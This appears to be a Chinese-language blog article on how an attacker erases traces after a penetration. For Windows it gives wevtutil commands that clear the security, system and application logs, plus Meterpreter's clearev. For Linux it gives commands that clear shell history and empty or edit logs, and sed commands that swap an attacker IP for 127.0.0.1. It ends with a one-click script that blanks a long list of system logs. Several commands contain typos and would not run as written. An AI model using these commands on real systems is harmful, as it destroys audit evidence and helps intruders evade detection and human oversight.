一、概述：
在滲透完成之后，為了減少被發現和追溯的概率，攻擊者有必要清除自己的攻擊痕跡，本文分別對windows和linux上清理痕跡的方式做一個總結。
二、windows
有遠程桌面權限時手動刪除日志：
開始-程序-管理工具-計算機管理-系統工具-事件查看器-清除日志
wevtutil工具命令行清除：
wevtutil el 列出系統中所有日志名稱
wevtutil cl system 清理系統日志
wevtutil cl application 清理應用程序日志
wevtutil cl security 清理安全日志
meterperter自帶清除日志功能：
clearev 清除windows中的應用程序日志、系統日志、安全日志
清除recent：
或直接打開C:\Users\Administrator\Recent並刪除所有內容
或在命令行中輸入del /f /s /q “%userprofile%\Recent*.*
三、linux
清除命令歷史記錄
histroy -r #刪除當前會話歷史記錄 history -c #刪除內存中的所有命令歷史 rm .bash_history #刪除歷史文件中的內容 HISTZISE=0 #通過設置歷史命令條數來清除所有歷史記錄
在隱蔽的位置執行命令，使用vim打開文件執行命令：
:set history=0 :!command
linux日志文件
/var/run/utmp 記錄現在登入的用戶 /var/log/wtmp 記錄用戶所有的登入和登出 /var/log/lastlog 記錄每一個用戶最后登入時間 /var/log/btmp 記錄錯誤的登入嘗試 /var/log/auth.log 需要身份確認的操作 /var/log/secure 記錄安全相關的日志信息 /var/log/maillog 記錄郵件相關的日志信息 /var/log/message 記錄系統啟動后的信息和錯誤日志 /var/log/cron 記錄定時任務相關的日志信息 /var/log/spooler 記錄UUCP和news設備相關的日志信息 /var/log/boot.log 記錄守護進程啟動和停止相關的日志消息
完全刪除日志文件
cat /dev/null > filename : > filename > filename echo "" > filename echo > filename
針對性刪除日志文件
刪除當天日志 sed -i '/當天日期/'d filename
篡改日志文件
將所有170.170.64.17ip替換為127.0.0.1 sed -i 's/170.170.64.17/127.0.0.1/g'
一鍵清除腳本：
#!/usr/bin/bash echo > /var/log/syslog echo > /var/log/messages echo > /var/log/httpd/access_log echo > /var/log/httpd/error_log echo > /var/log/xferlog echo > /var/log/secure echo > /var/log/auth.log echo > /var/log/user.log echo > /var/log/wtmp echo > /var/log/lastlog echo > /var/log/btmp echo > /var/run/utmp rm ~/./bash_history history -c